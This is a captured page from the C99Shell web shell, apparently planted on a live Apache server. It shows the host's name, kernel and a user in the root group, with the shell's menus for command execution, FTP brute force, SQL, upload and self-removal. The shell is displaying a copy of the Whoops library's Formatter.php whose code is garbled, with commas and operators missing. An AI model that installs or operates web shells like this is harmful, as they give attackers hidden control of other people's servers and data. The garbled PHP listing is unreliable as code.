!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/filp/whoops/src/Whoops/Exception/   drwxr-xr-x
Free 28.41 GB of 117.98 GB (24.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Formatter.php (2.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Whoops - php errors for cool kids
 * @author Filipe Dobreira <http://github.com/filp>
 */

namespace Whoops\Exception;

class 
Formatter
{
    
/**
     * Returns all basic information about the exception in a simple array
     * for further convertion to other languages
     * @param  Inspector $inspector
     * @param  bool      $shouldAddTrace
     * @return array
     */
    
public static function formatExceptionAsDataArray(Inspector $inspector$shouldAddTrace)
    {
        
$exception $inspector->getException();
        
$response = [
            
'type'    => get_class($exception),
            
'message' => $exception->getMessage(),
            
'code'    => $exception->getCode(),
            
'file'    => $exception->getFile(),
            
'line'    => $exception->getLine(),
        ];

        if (
$shouldAddTrace) {
            
$frames    $inspector->getFrames();
            
$frameData = [];

            foreach (
$frames as $frame) {
                
/** @var Frame $frame */
                
$frameData[] = [
                    
'file'     => $frame->getFile(),
                    
'line'     => $frame->getLine(),
                    
'function' => $frame->getFunction(),
                    
'class'    => $frame->getClass(),
                    
'args'     => $frame->getArgs(),
                ];
            }

            
$response['trace'] = $frameData;
        }

        return 
$response;
    }

    public static function 
formatExceptionPlain(Inspector $inspector)
    {
        
$message $inspector->getException()->getMessage();
        
$frames $inspector->getFrames();

        
$plain $inspector->getExceptionName();
        
$plain .= ' thrown with message "';
        
$plain .= $message;
        
$plain .= '"'."\n\n";

        
$plain .= "Stacktrace:\n";
        foreach (
$frames as $i => $frame) {
            
$plain .= "#". (count($frames) - $i 1). " ";
            
$plain .= $frame->getClass() ?: '';
            
$plain .= $frame->getClass() && $frame->getFunction() ? ":" "";
            
$plain .= $frame->getFunction() ?: '';
            
$plain .= ' in ';
            
$plain .= ($frame->getFile() ?: '<#unknown>');
            
$plain .= ':';
            
$plain .= (int) $frame->getLine(). "\n";
        }

        return 
$plain;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--